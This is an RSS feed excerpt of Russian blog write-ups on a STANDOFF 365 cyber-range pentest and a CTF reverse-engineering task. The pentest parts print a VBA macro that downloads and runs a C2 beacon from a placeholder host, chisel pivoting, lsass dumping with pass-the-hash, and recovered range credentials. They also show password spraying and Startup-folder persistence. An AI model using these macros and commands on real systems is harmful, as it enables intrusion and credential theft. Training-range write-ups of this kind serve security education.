    <li id="jzsF">На тачке таргета разворачивается клиент chisel</li>
  </ol>
  <pre id="LPNk">./chisel server --port 3958  --reverse</pre>
  <figure id="5vSk" class="m_original">
    <img src="https://img3.teletype.in/files/65/32/653256ec-02d3-42e3-ba6d-fa58afc855f1.png" width="696" />
  </figure>
  <p id="Hai3">На тачке жертвы:</p>
  <pre id="7L52">shell chisel.exe client VPS_IP:3958 R:0.0.0.0:1080:socks</pre>
  <figure id="gR7r" class="m_column">
    <img src="https://img3.teletype.in/files/65/d4/65d4d8d5-3770-4052-80a5-e82f0025799e.png" width="1341" />
  </figure>
  <figure id="ctYZ" class="m_column">
    <img src="https://img4.teletype.in/files/35/c4/35c4376c-1af4-45ca-8efa-db989056e1e2.png" width="828" />
  </figure>
  <p id="vyk1">Теперь на своей тачке(та самая машина пывнера) прописываем в proxychains <code>/etc/proxychains.conf</code>:</p>
  <pre id="e01b">socks5 VPS_IP 1080</pre>
  <p id="8mlY">или</p>
  <pre id="01YN">echo &quot;socks5 VPS_IP 1080&quot; | sudo tee -a /etc/proxychains.conf</pre>
  <p id="DL1i">Проверяем доступность:</p>
  <figure id="0rtX" class="m_original">
    <img src="https://img4.teletype.in/files/b8/9f/b89f932f-eea1-4539-bf10-00d9bccf6227.png" width="1180" />
  </figure>
  <p id="Cgv4">Теперь, используя пивотинг, можно попробовать еще раз сдампить lsass, используя модуль <code>nanodump</code>. Так мы получим список пользователей в домене и их хэши:</p>
  <pre id="zaoE">proxychains -q nxc smb -M nanodump 10.154.13.37 -u Administrator -H &quot;1341d22a3bf7d7caa3b46590cda30b88&quot;</pre>
  <figure id="8OiP" class="m_column">
    <img src="https://img4.teletype.in/files/fa/db/fadb4ceb-5bb2-48da-af08-24ab76bb3942.png" width="1224" />
  </figure>
  <p id="Cke3">Мы получили хэши и пароли:</p>
  <pre id="JeqK">hte\a_petinson_admin:7b4dc94ba597fbc95017cb313c83ab57
hte\a_petinson_admin:uDp0KD5Siu0tXAdg
hte\o_lara:3974d41c04dfff97f05090b477ceb846
hte\o_lara:Aa2sUdUlg3OJP98n</pre>
  <p id="m7FU">Для того, чтобы получить список пользаков через shell, можно использовать команду <code>net user /domain</code>:</p>
  <figure id="qmPK" class="m_original">
    <img src="https://img4.teletype.in/files/fd/15/fd15aac4-b91c-40ac-ad8b-b44d0a33b376.png" width="792" />
  </figure>
  <p id="dDDw">Теперь попробуем засперить пароль <code>Aa2sUdUlg3OJP98n</code> , используя <code>nxc</code>:</p>
  <pre id="eTkv">proxychains -q nxc smb 10.154.13.37 -u users.txt -p &quot;Aa2sUdUlg3OJP98n&quot;</pre>
  <figure id="SstR" class="m_original">
    <img src="https://img3.teletype.in/files/68/d8/68d862a1-bc91-49c5-935d-31d263683c06.png" width="1179" />
  </figure>
  <p id="khWl">Это пароль от юзера o_lara. То есть, доказали, что это именно ее пароль.</p>
  <h2 id="49Kz">Воспоминания о бывалом сервисе</h2>
  <p id="G3Wn">Короче говоря, я пропустил один шаг в самом начале. Как помните, при скане портов была найдена станичка компании:</p>
  <figure id="ycqj" class="m_column">
    <img src="https://img3.teletype.in/files/a9/78/a9789a23-8750-4132-b159-41d86ff169f4.png" width="1877" />
  </figure>
  <p id="6Dx2">Попробовал ее прогнать через <a href="https://github.com/dirsearch" target="_blank">dirsearch</a> и обнаружил свой косяк:</p>
  <figure id="0VMC" class="m_column">
    <img src="https://img1.teletype.in/files/c3/7a/c37a05b0-7353-411d-b586-d554da5c1236.png" width="794" />
  </figure>
  <p id="sstz">Если кратко, то там лежал VPN конфиг, который даёт доступ во внутренюю сеть - <code>http://10.124.1.166/config</code>. Теперь попробуем его запустить с кредами от o_lara:</p>
  <figure id="KzdG" class="m_column">
    <img src="https://img2.teletype.in/files/1d/37/1d37ba1e-9bba-4660-90c7-5ad66e1b4a9f.png" width="829" />
  </figure>
  <p id="ROVK">Таким образом, получил доуступ во внутряк:</p>
  <figure id="iPHT" class="m_column">
    <img src="https://img4.teletype.in/files/72/ab/72ab9d25-248e-41dd-9245-487363a9b794.png" width="919" />
  </figure>
  <p id="u0bJ">Теперь chisel можно отключать и работать чисто через VPN-конфиг.</p>
  <p id="jQBG">Для подтверждения того, что  работает -  можно проверить rdp подключение к o_lara:</p>
  <figure id="nuDs" class="m_column">
    <img src="https://img2.teletype.in/files/9e/c8/9ec8e120-5931-475c-a217-187c0d5ea164.png" width="913" />
  </figure>
  <p id="lHvE">Подключаемся через <a href="https://github.com/FreeRDP/FreeRDP" target="_blank">xfreerdp</a>:</p>
  <pre id="x4Oy">xfreerdp3 /v:10.154.13.37 /d:hte.stf /u:o_lara /p:&#x27;Aa2sUdUlg3OJP98n&#x27; </pre>
  <figure id="OhIM" class="m_column">
    <img src="https://img1.teletype.in/files/42/30/42303a9e-fc8d-4249-a656-98170d357a18.png" width="1697" />
  </figure>
  <figure id="AUZQ" class="m_column">
    <img src="https://img1.teletype.in/files/4b/36/4b367ab8-8290-4e8f-a1b8-22f1da615910.png" width="1697" />
  </figure>
  <p id="CEFe">Так же, данный пароль подходит и для Exchange, который находили ранее:</p>
  <figure id="O8jZ" class="m_column">
    <img src="https://img2.teletype.in/files/14/82/1482fba2-7962-419e-bbbf-927b4f963322.png" width="1023" />
  </figure>
  <figure id="r8Zo" class="m_column">
    <img src="https://img2.teletype.in/files/d0/f5/d0f52296-6e2b-4916-8630-62c869ec70d7.png" width="936" />
  </figure>
  <p id="Y54P">То есть, появилась ещё одна возможность получить инишиал к другим пользакам домена через фишинг. </p>
  <p id="BLRm">С помощью GAL (Global Address List) можно узнать какие пользователи есть в домене (имею ввиду без мусора):</p>
  <figure id="4QSx" class="m_original">
    <img src="https://img2.teletype.in/files/55/30/5530e630-f6dd-4ee7-ae49-1448c19722d3.png" width="456" />
  </figure>
  <h2 id="Rq5a">Persistence</h2>
  <p id="GOyg">Совсем немного про закреп. Чтобы всегда отрабатывал маяк на SYSTEM, его можно поместить в директорию:</p>
  <pre id="QVit">C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\</pre>
  <figure id="naz7" class="m_column">
    <img src="https://img4.teletype.in/files/3a/96/3a96425b-58b8-4d80-b393-6178d67cbdf5.png" width="993" />
  </figure>
  <figure id="AtfS" class="m_column">
    <img src="https://img3.teletype.in/files/ea/8e/ea8eab7f-4b1b-4fb9-b673-ea7a1128527c.png" width="993" />
  </figure>
  <figure id="RgPO" class="m_column">
    <img src="https://img4.teletype.in/files/73/30/7330fb57-c82b-4dea-83a8-29ed98905537.png" width="1147" />
  </figure>
  <h2 id="e3s0">Заключение</h2>
  <p id="82si">В следующей части поговорим о сборе информации о домене/корпоративной сети, горизонтальном перемещении.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@afanx/x2letrP8qvH</guid><link>https://teletype.in/@afanx/x2letrP8qvH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx</link><comments>https://teletype.in/@afanx/x2letrP8qvH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx#comments</comments><dc:creator>afanx</dc:creator><title>HighTechEnergy STANDOFF 365. Часть 1 -  InitialAccess</title><pubDate>Thu, 19 Dec 2024 12:41:24 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/20/f2/20f292e4-5ca6-4639-bce0-f55383585a34.png"></media:content><category>Pentest</category><description><![CDATA[<img src="https://img2.teletype.in/files/98/ea/98ea273d-cb60-4b21-a544-5119b00a7908.png"></img>Ку, киберпанки! Начинаю разбор инфры HightTechEnergy STANDOFF 365 . HighTechEnergy — одна из крупнейших компаний Государства F. Занимается передачей и распределением электроэнергии, выполняет функции оператора ГЭС, СЭС и ТЭС. Главная цель организации — качественное и надежное снабжение потребителей электричеством, поэтому вопросы безопасности для нее особенно важны.]]></description><content:encoded><![CDATA[
  <figure id="Nmc1" class="m_column">
    <img src="https://img2.teletype.in/files/98/ea/98ea273d-cb60-4b21-a544-5119b00a7908.png" width="1920" />
  </figure>
  <p id="rO3j">Ку, киберпанки! Начинаю разбор инфры <a href="https://range.standoff365.com/battle/5/industry/38/" target="_blank">HightTechEnergy STANDOFF 365</a> . HighTechEnergy — одна из крупнейших компаний Государства F. Занимается передачей и распределением электроэнергии, выполняет функции оператора ГЭС, СЭС и ТЭС. Главная цель организации — качественное и надежное снабжение потребителей электричеством, поэтому вопросы безопасности для нее особенно важны.   </p>
  <blockquote id="CMxy">Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор не несет ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.</blockquote>
  <p id="8NqD"></p>
  <p id="yJAA">В качестве C2 буду использовать:</p>
  <ol id="7UwQ">
    <li id="Q4Wx"><a href="https://github.com/RalfHacker/Havoc" target="_blank">Havoc</a></li>
    <li id="YIjr"><a href="https://github.com/BishopFox/sliver" target="_blank">SLIVER</a></li>
  </ol>
  <blockquote id="EuC0">Хороший обзор на  C2 SLIVER можно найти на канале Хабра <a href="https://habr.com/ru/articles/767404/" target="_blank">AP Security</a></blockquote>
  <h2 id="WMFn">Разведка и сбор информации</h2>
  <p id="rYYR">Первым шагом является изучение скоупа на открытые порты, службы итд. Так же сбор информации на информационных ресурсах(имею ввиду почтовые ящики).<br /></p>
  <p id="7y33">Дан скоуп -  <code>10.124.1.128/26</code> и буду проводить два вида сканирования:</p>
  <ol id="S2Sb">
    <li id="ZCFw">Через <code>nmap</code> - для получения информации о хостах и открытых портах</li>
    <li id="9Ig9">Через <code>nxc</code> - для получения информации о Windows тачках, если торчат наружу</li>
  </ol>
  <p id="k7pO">Как бы логично, что вряд ли будут виндовые тачки торчать на ружу, но попробовать стоило:</p>
  <pre id="Btma">nxc smb 10.124.1.128/26</pre>
  <figure id="GCiB" class="m_original">
    <img src="https://img3.teletype.in/files/a9/5e/a95ee23d-44ba-4ddc-b168-8da02083f07d.png" width="681" />
  </figure>
  <p id="f5cA">Теперь скан с помощью <code>nmap</code>:</p>
  <pre id="bbiz">nmap -sC -sV -A 10.124.1.128/26 -oN high_tech_nmap.log</pre>
  <p id="iEx8">Такой вид скана плохой, потому что очень сильно шумит, но для соревнований пойдет:</p>
  <figure id="fsr2" class="m_original">
    <img src="https://img2.teletype.in/files/95/1b/951bb594-5dd0-4575-8c5d-644fb445b5af.png" width="719" />
  </figure>
  <p id="qIey"><strong>Первый хост</strong> <code>10.124.1.139</code>  - это копроративная почта MS Exchange:<br />порт <code>80</code> - HTTP и подразумевается, что это вебсервис<br />порт <code>443</code> - HTTPS, в которой видно, что это Exchange и в <code>/etc/hosts</code> можно добавить хост и в будущем пробовать атаку <strong>ClusterBomb</strong> для получения доступа на Exchange. Если получим доступ к почте, то так же получим доступ к тачке в домене.</p>
  <blockquote id="9cte">ClusterBomb - эта атака перебирает разные наборы полезных данных для каждой определенной позиции. Полезные нагрузки размещаются из каждого набора по очереди, чтобы протестировались все комбинации полезных нагрузок. </blockquote>
  <p id="KIFf"></p>
  <figure id="iXer" class="m_column">
    <img src="https://img3.teletype.in/files/28/44/284496b5-43b1-4bec-be3a-3eb35a761449.png" width="1031" />
  </figure>
  <p id="FCmZ"></p>
  <figure id="c9Ne" class="m_column">
    <img src="https://img2.teletype.in/files/1e/68/1e68966c-332e-4d35-9efa-fa375c6fb320.png" width="1916" />
  </figure>
  <p id="Ug9b"></p>
  <p id="6Ozs"><strong>Второй хост</strong> <code>10.124.1.166</code> :<br />порт <code>80</code> - HTTP и это веб-сервис и работает на nginx 1.22.1<br />порт <code>22</code> - SSH </p>
  <figure id="u7oC" class="m_column">
    <img src="https://img1.teletype.in/files/03/37/0337b847-c5ea-4483-9abe-94c12b30cab2.png" width="1916" />
  </figure>
  <p id="IMKa"><strong>Третий хост</strong> <code>10.124.1.176</code> содержит порты:<br />порт <code>22</code> - SSH<br />порт <code>53</code> - это порт DNS</p>
  <p id="tsXF"><strong>Четвертый хост</strong>  <code>10.124.1.189</code>, который содержит только веб-сервис на порту <code>443</code> - HTPPS</p>
  <p id="5yxH">Теперь про сбор информации. Довольно ценным источником данных при подготовке к пентесту компании являются социальные сети, на страницах которых можно найти довольно большой объём информации о сотрудниках и оргструктуре.</p>
  <p id="PZBw">На хосте <code>10.124.1.166</code> можно найти почты сотрудников:</p>
  <figure id="ZfTO" class="m_column">
    <img src="https://img1.teletype.in/files/cb/60/cb603c1d-692d-4544-af35-e36b2b2591d6.png" width="746" />
  </figure>
  <pre id="Wcyz">s_boyle@hte.stf
o_lara@hte.stf
j_miles@hte.stf</pre>
  <p id="9NYm">На данные почтовые ящики можно отправить фишинговое письмо и попробовать авторизоваться на MS Exchage.<br /></p>
  <h2 id="vmJy">Cluster Bomb</h2>
  <p id="cniT">Данную атаку можно производить с помощью <a href="https://t.me/RalfHackerChannel/1353" target="_blank">BurpSuite</a> и с помощью опен сорса <a href="https://github.com/sensepost/ruler" target="_blank">ruler</a>. Я буду юзать первый вариант, потому что он удобнее и быстрее отрабатывает.</p>
  <p id="7div">Ввел значения в фому авторизации <code>login:password</code>:</p>
  <figure id="umTA" class="m_column">
    <img src="https://img1.teletype.in/files/8e/35/8e35f1ae-67c5-4322-a62c-94498e3ade52.png" width="1274" />
  </figure>
  <p id="6jx2">Ловлю запрос и перехожу в Intruder:</p>
  <figure id="3b7n" class="m_column">
    <img src="https://img2.teletype.in/files/56/05/5605f25d-6438-47f5-8e78-f565e4616107.png" width="1220" />
  </figure>
  <figure id="qKJ8" class="m_column">
    <img src="https://img4.teletype.in/files/b4/98/b4982e52-13e3-4a16-b2c0-b970133b8047.png" width="1550" />
  </figure>
  <p id="hVIr">В Intruder захватываю поля <code>login</code> и <code>password</code> - это то, что будем перебирать:</p>
  <figure id="Eh1T" class="m_column">
    <img src="https://img3.teletype.in/files/a7/d9/a7d962b2-3590-42a4-bb89-9a4198ce3492.png" width="1510" />
  </figure>
  <p id="bYTo">Выбираю атаку <strong>Cluster Bomb</strong>:</p>
  <figure id="Nm4j" class="m_column">
    <img src="https://img2.teletype.in/files/1c/8f/1c8f2fef-824c-41f6-9724-bc15d5d38bad.png" width="1213" />
  </figure>
  <p id="XjCm">В первый сет ставлю почты:</p>
  <figure id="V2AN" class="m_original">
    <img src="https://img2.teletype.in/files/11/95/11950b77-c35e-4c77-ac38-8c8fd08ca5ed.png" width="550" />
  </figure>
  <p id="dbfK">Во второй <code>passlist</code>, который был дан:</p>
  <figure id="S7Z9" class="m_original">
    <img src="https://img3.teletype.in/files/ef/da/efda5ad7-3063-4e95-8f86-f390242c2d17.png" width="550" />
  </figure>
  <p id="daCR">Запускаю атаку и результата, к сожалению, нет:</p>
  <figure id="SdS8" class="m_column">
    <img src="https://img1.teletype.in/files/80/36/80366907-20a1-4765-b556-6abee8b61751.png" width="742" />
  </figure>
  <p id="aeGS">Но это не беда, на самом деле. Этих челиков можно зафишить.</p>
  <h2 id="Goui">Фишинг</h2>
  <p id="7IdO">Для фишинга на STANDOFF 365 у нас есть почтовый клиент Roundcube:</p>
  <figure id="kELP" class="m_column">
    <img src="https://img1.teletype.in/files/4b/b7/4bb79286-1daf-47db-92d7-50234dd1ba76.png" width="1919" />
  </figure>
  <p id="GQR9">Теперь необходимо сделать маяк на Havoc и создать вредоносный макрос.</p>
  <p id="0cTR">В  Havoc выбираю <code>Listeners</code> и создаю порт для прослушивания соединения:</p>
  <figure id="RbyZ" class="m_original">
    <img src="https://img3.teletype.in/files/ea/61/ea615d68-798f-4972-a4fe-ae3a52bd4ff3.png" width="282" />
  </figure>
  <p id="H9j0"> В <code>Hosts</code> указываю IP-адрес сервера C2, порт тоже желательно сменить с 443 на любой другой:</p>
  <figure id="yplT" class="m_original">
    <img src="https://img2.teletype.in/files/1a/3e/1a3e7057-c755-4ada-973f-11431aaba1ae.png" width="567" />
  </figure>
  <p id="7gEY">В итоге видим, что листенер упешно завелся:</p>
  <figure id="2K5X" class="m_column">
    <img src="https://img1.teletype.in/files/ca/7f/ca7fe24f-6ff6-4b50-96f4-53d8c0537b54.png" width="781" />
  </figure>
  <p id="ReAt">Далее создаем маяк:</p>
  <figure id="ThB7" class="m_original">
    <img src="https://img3.teletype.in/files/a4/b5/a4b521d8-272c-40e1-bc58-8656a82ec095.png" width="284" />
  </figure>
  <p id="yxpa">Всё оставляю по дефолту и жмякаю <code>Generate</code>:</p>
  <figure id="sAOE" class="m_original">
    <img src="https://img1.teletype.in/files/41/94/4194862c-a79b-4d2d-b153-90ca4accb715.png" width="549" />
  </figure>
  <p id="JXdH">После успешной генерации бекона, будет вот такое окно:</p>
  <figure id="iZoH" class="m_original">
    <img src="https://img1.teletype.in/files/c3/a6/c3a6cc5c-9fbe-4409-a1c1-d808518f245a.png" width="540" />
  </figure>
  <p id="0IMz">Теперь его необходимо перенести на свою VPS, где развернут C2 сервер и открыть в директории, где он расположен, python HTTP-сервер:</p>
  <pre id="MSjF">python3 -m http.server 4879</pre>
  <p id="Dv62">Далее создаем макрос. Макрос будет выглядить так:</p>
  <pre id="XtB1">Sub Document_Open()
 Dim strProgramName As String
 Dim strArgument As String
 strProgramName = &quot;powershell.exe&quot;
 strArgument = &quot;wget  http://IP:PORT/agent.exe -O C:\Windows\Tasks\a.exe ; C:\Windows\Tasks\a.exe&quot;
 Call Shell(&quot;&quot;&quot;&quot; &amp; strProgramName &amp; &quot;&quot;&quot; &quot;&quot;&quot; &amp; strArgument &amp; &quot;&quot;&quot;&quot;, vbNormalFocus)
End Sub</pre>
  <p id="2Taz">В кратце, он скачивает бекон и сохраняет в директорию <code>C:\Windows\Tasks</code> и запускает. Однако, может быть такая ситуация, что на компе не будет <code>wget</code>, тогда можно использовать системную утилиту <code>certutil.exe</code>:</p>
  <pre id="XTU9">Sub Document_Open()
 Dim strProgramName As String
 Dim strArgument As String
 strProgramName = &quot;powershell.exe&quot;
 strArgument = &quot;certutil.exe -urlcache -f http://IP:PORT/40564.exe C:\Windows\Tasks\bad.exe ; C:\Windows\Tasks\a.exe&quot;
 Call Shell(&quot;&quot;&quot;&quot; &amp; strProgramName &amp; &quot;&quot;&quot; &quot;&quot;&quot; &amp; strArgument &amp; &quot;&quot;&quot;&quot;, vbNormalFocus)
End Sub</pre>
  <p id="Nkit">Посмореть как этот метод отрабатывает можно <a href="https://www.ired.team/offensive-security/defense-evasion/downloading-file-with-certutil" target="_blank">здесь</a>.</p>
  <p id="VU9L">Когда зашёл в Word нужно нажать комбинацию <code>Alt+F11</code> для получения доступа к редактирования макрсов:</p>
  <figure id="26b1" class="m_column">
    <img src="https://img1.teletype.in/files/89/e2/89e2cb27-07b4-417b-aa33-e65e75d961b6.png" width="1795" />
  </figure>
  <p id="IXVE">Нажимаем на <code>ThisDocument</code> и попадём в окно редактирования макросов:</p>
  <figure id="Wkcc" class="m_column">
    <img src="https://img3.teletype.in/files/24/11/24116559-7344-45fd-95ba-3381cdd380b9.png" width="1677" />
  </figure>
  <p id="OV0X">Сохраняем его в формате <strong>doc 97-2003</strong>:</p>
  <figure id="EU1a" class="m_column">
    <img src="https://img4.teletype.in/files/74/23/74230f41-3a73-4599-9e2b-2bab076ef08a.png" width="964" />
  </figure>
  <p id="B6u7">Далее вставляем макрос:</p>
  <figure id="OwiP" class="m_column">
    <img src="https://img1.teletype.in/files/0c/05/0c05a4b5-d517-449c-a472-1af8d96c0ba0.png" width="1674" />
  </figure>
  <p id="aIGG">После сохранения закрываем и опять открываем документ и разрешаем запуск:</p>
  <figure id="99Cg" class="m_column">
    <img src="https://img2.teletype.in/files/9c/95/9c953377-f416-4742-9bcd-135ce9158129.png" width="1015" />
  </figure>
  <p id="IpgK">Таким образом, макрос будет запускаться при открытии:</p>
  <figure id="F8fm" class="m_column">
    <img src="https://img4.teletype.in/files/75/9b/759bb37b-9a74-40a4-80d6-58fc78d7c35a.png" width="1382" />
  </figure>
  <p id="rX8W">Далее необходимо отправить письмо жертвам:</p>
  <figure id="yPcA" class="m_column">
    <img src="https://img4.teletype.in/files/b5/44/b5447aaa-59cb-4d73-b24b-2dc2526600c7.png" width="1908" />
  </figure>
  <figure id="iDBw" class="m_original">
    <img src="https://img2.teletype.in/files/19/40/1940460e-9de0-4593-89c3-ec9101a6f4f5.png" width="615" />
  </figure>
  <figure id="JtyM" class="m_column">
    <img src="https://img2.teletype.in/files/13/75/13757727-6b49-4930-8635-f59edda0561b.png" width="1795" />
  </figure>
  <p id="bwNU">Как можно увидеть, данный комп является локальным админом:</p>
  <figure id="AmKU" class="m_column">
    <img src="https://img2.teletype.in/files/1a/81/1a814861-09e6-4f85-b7ae-73869a4405df.png" width="1265" />
  </figure>
  <figure id="KJ6y" class="m_original">
    <img src="https://img2.teletype.in/files/d0/61/d061f86f-7ed5-46d0-b382-ec46938d6abd.png" width="697" />
  </figure>
  <p id="KAxg">На этом всё. В следующей части будет сбор информации о пользователе и сети, повышение привилегий,  закреп и туннелирование.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@afanx/LHl4th3EvvH</guid><link>https://teletype.in/@afanx/LHl4th3EvvH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx</link><comments>https://teletype.in/@afanx/LHl4th3EvvH?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=afanx#comments</comments><dc:creator>afanx</dc:creator><title>Обходим защиту от дизассемблирования в Golang</title><pubDate>Tue, 10 Dec 2024 17:58:39 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/f7/09/f7096625-3c8a-4ceb-9ac5-9b6ae82a5242.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/05/82/0582e776-16d2-4307-b84d-54c052fd403d.png"></img>Ку, киберпанки. Сегодня будет разбор на один интересный таск с CTF, который был на этих выходных. В таске встретите защиту от дизассемблирования и необходимость написания кейгена,  а также реверс программы, которая написана на Golang.  Сам таск отнесу в категорию easy.]]></description><content:encoded><![CDATA[
  <figure id="lSSQ" class="m_column">
    <img src="https://img1.teletype.in/files/05/82/0582e776-16d2-4307-b84d-54c052fd403d.png" width="1920" />
  </figure>
  <blockquote id="iIhv">tg: <a href="https://t.me/afanx/" target="_blank">AFANX</a><br />канал: <a href="https://t.me/k0n70r4/" target="_blank">K0N70R4</a><br />GitHub: <a href="https://github.com/cyberpunk-afanx" target="_blank">GitHub</a></blockquote>
  <p id="MeFk">Ку, киберпанки. Сегодня будет разбор на один интересный таск с CTF, который был на этих выходных. В таске встретите защиту от дизассемблирования и необходимость написания кейгена,  а также реверс программы, которая написана на Golang.  Сам таск отнесу в категорию easy. <br /></p>
  <h2 id="gbsq">Изучаем прогу</h2>
  <p id="zCPA"></p>
  <p id="XqNq">Закинем в  DiE (Detect It Easy) и посмотрим стороки, энтрипоинт, обфусцирован ли он, на чём написал и чем скомпилен:</p>
  <figure id="Axbv" class="m_column">
    <img src="https://img3.teletype.in/files/69/d8/69d8feb0-e79f-43bd-8e23-e0ade8e73fdc.png" width="990" />
  </figure>
  <p id="EYzu">Наш энтрипоинт располагается по адресу <code>0xA9BB40</code> и этот бинарь написан на Golang, что не есть хорошо. Это плохо, потому что Go компилирует всё статически и оставляет очень много мусора. Теперь попробуем закинуть в IDA Pro и посмотреть, что под капотом. Во время трассировки, я думал, что у меня комп взлетит и понятно почему:<br /></p>
  <figure id="urvB" class="m_original">
    <img src="https://img2.teletype.in/files/94/ac/94ac4cf6-ad4d-4e08-94a4-b598f28909f6.png" width="386" />
  </figure>
  <p id="Kbl2">С каждой секундой он находил новую функцию и не мог быстро трассировать.  Сразу стало ясно, что это защита от дизассемблирования.</p>
  <p id="epq4"></p>
  <h2 id="4wW9">Обходим защиту от дизассемблирования</h2>
  <p id="X1zb"></p>
  <p id="SuLl">IDA и GHIDRA не справились с задачей дизассемблирования, поэтому решил сделать это через <code>objdump</code>:</p>
  <pre id="4hX3">objdump -A memes.exe -M intel</pre>
  <p id="SE8O"></p>
  <figure id="ffL4" class="m_original">
    <img src="https://img2.teletype.in/files/9e/d9/9ed9d9a7-d5e8-43b4-9947-257f64740cd2.png" width="460" />
  </figure>
  <p id="UOlv">Как видите много одних и тех же инструкций, причем они все ссылаются друг на друга. Короче говоря, это такая защита от дизассемлирования. Последняя интсрукция указывает на ту, которая в начале, а самая первая на следующую. По DiE знаем, что энтрипоинт по адресу <code>0xa9bb40</code>, т.е.</p>
  <pre id="bNHv">a9bb40:	e9 f6 ff ff ff       	jmp    0xa9bb3b</pre>
  <p id="afUz">Заполнить всё это NOPами (<code>0x90</code>) можно, только получим чисто дизассемблирования, а нам нужна еще отладка. Посмотрим чем всё это заканчивается:</p>
  <p id="YSaS"></p>
  <figure id="WUR9" class="m_original">
    <img src="https://img3.teletype.in/files/21/fc/21fc42dc-dd17-4fd3-8aae-9acda6fc3ef0.png" width="413" />
  </figure>
  <p id="DCOD">Теперь посмотрим, что находится по адресу <code>0x46d9e0</code>:</p>
  <p id="RyDt"></p>
  <figure id="KSXc" class="m_original">
    <img src="https://img1.teletype.in/files/0b/b6/0bb6d00f-7124-4bc1-9543-4b87d7374a1b.png" width="430" />
  </figure>
  <figure id="xw6v" class="m_original">
    <img src="https://img3.teletype.in/files/21/83/2183acc6-cb31-485e-9c5a-f442bae80ad0.png" width="500" />
  </figure>
  <p id="lWAN">Это уже похоже на нормальный энтрипоит и на загрузку проги. Таким образом, необходимо запатчить прогу так:</p>
  <p id="vBVi"></p>
  <ol id="Inuy">
    <li id="aYiu">Все <code>jmp</code> заменить на <code>nop</code></li>
    <li id="boKq">Первый <code>jmp</code> сделать на адрес  <code>0x46A140</code></li>
  </ol>
  <p id="00kg"></p>
  <p id="9kkH">После таких патчей сможем избавиться от защиты от дизассемблирования и нормально отлаживать программу.</p>
  <p id="EiUW"></p>
  <h2 id="HOgl">Патчим</h2>
  <p id="nFUH"></p>
  <p id="s08l">В HxD нахожу первую инструкцию по байтам <code>E9 F6 FF FF FF</code> :</p>
  <p id="V2vN"></p>
  <figure id="orqa" class="m_column">
    <img src="https://img2.teletype.in/files/df/24/df24009d-4e2b-46e8-966b-8a2a8edca83d.png" width="771" />
  </figure>
  <p id="xJpq">После этого заменил всё, до первой такой инструкции (энтипоинт <code>0xA9BB40</code>):</p>
  <figure id="6DZA" class="m_column">
    <img src="https://img3.teletype.in/files/ac/64/ac641439-b587-42ba-8b40-794603f68c8d.png" width="768" />
  </figure>
  <p id="idbt">Так как, теперь это хорошо открывается в IDA, патчинг закончу там.</p>
  <p id="kfl7">Вот мой энтрипоинт:</p>
  <figure id="B8qH" class="m_column">
    <img src="https://img4.teletype.in/files/32/15/32155c9c-2e9f-43e3-8caf-3a202e65a4dc.png" width="941" />
  </figure>
  <p id="cRNq">Патчим на интересующий нас адрес - <code>0x46A140</code>.</p>
  <figure id="oSQN" class="m_original">
    <img src="https://img3.teletype.in/files/2f/39/2f39e00e-b3bc-4a33-80ce-30fadd66a956.png" width="609" />
  </figure>
  <figure id="5lG5" class="m_original">
    <img src="https://img2.teletype.in/files/9b/a0/9ba0cf0a-7785-41be-924c-93be62051486.png" width="462" />
  </figure>
  <figure id="PeTt" class="m_column">
    <img src="https://img1.teletype.in/files/0d/f3/0df30b99-90a8-41fe-9919-9b85b537bcf6.png" width="932" />
  </figure>
  <p id="WYLA">Теперь можно поставить точку останова на <code>main</code>  и начать реверсить!</p>
  <p id="JuY5"></p>
  <h2 id="UFHN">Реверс</h2>
  <p id="Japy">В начале есть интересная функция под названием <code>main_keygen</code>.  Она формирует ключ шифрования.</p>
  <p id="dQlE">В начале есть такой блок кода:</p>
  <figure id="3yF4" class="m_original">
    <img src="https://img3.teletype.in/files/ad/7c/ad7cd94d-3b79-40b9-b5f4-7718d545f6db.png" width="579" />
  </figure>
  <p id="n6AE">Это зашифрованный ключ в hex&#x27;ах. Расшифровывается так:</p>
  <p id="pj6w">Первый шаг - побайтный XOR с <code>0x66</code></p>
  <p id="MI2B"></p>
  <figure id="oB3T" class="m_original">
    <img src="https://img3.teletype.in/files/20/ff/20fff666-0f7e-4239-bfd5-c1fe20a01666.png" width="299" />
  </figure>
  <p id="sru7">Второй шаг - побайтный XOR с <code>0x99</code></p>
  <figure id="qBSO" class="m_original">
    <img src="https://img3.teletype.in/files/e4/a7/e4a71451-7489-4c44-8e1c-2c271e50288b.png" width="300" />
  </figure>
  <p id="8Wbo">Третий шаг - побайтный XOR с <code>0x37</code></p>
  <figure id="vmAQ" class="m_original">
    <img src="https://img4.teletype.in/files/34/20/3420ede0-922f-4c38-8e8e-d7391c361813.png" width="299" />
  </figure>
  <p id="tIlL">Таким образом, получим такой ключ:</p>
  <figure id="b19S" class="m_column">
    <img src="https://img1.teletype.in/files/8d/5a/8d5ad251-a549-4873-b58e-5dff2ae5efe6.png" width="1185" />
  </figure>
  <p id="eOEv">В памяти видим, что две одинаковые строки, но это нужно будет для дальнейшего шифорвания.</p>
  <p id="Helu">Дальше обращаем внимание на следующих блок:</p>
  <figure id="ZPUa" class="m_original">
    <img src="https://img4.teletype.in/files/79/3d/793d5133-a562-4e82-880e-8835a5aef89c.png" width="683" />
  </figure>
  <p id="3xt0">Это наш зашифрованный флаг, который будет побайтно сравниваться с нашей строкой.</p>
  <p id="ixdr">Само шифрование происходит в функции <code>main_generator</code>:</p>
  <p id="xyms"></p>
  <figure id="7e9z" class="m_original">
    <img src="https://img3.teletype.in/files/e1/9f/e19fdfe5-562b-4d05-b24a-18af93e8bb00.png" width="284" />
  </figure>
  <p id="daCS">В <code>main_generator</code> строка проходит пять этапов шифрования:</p>
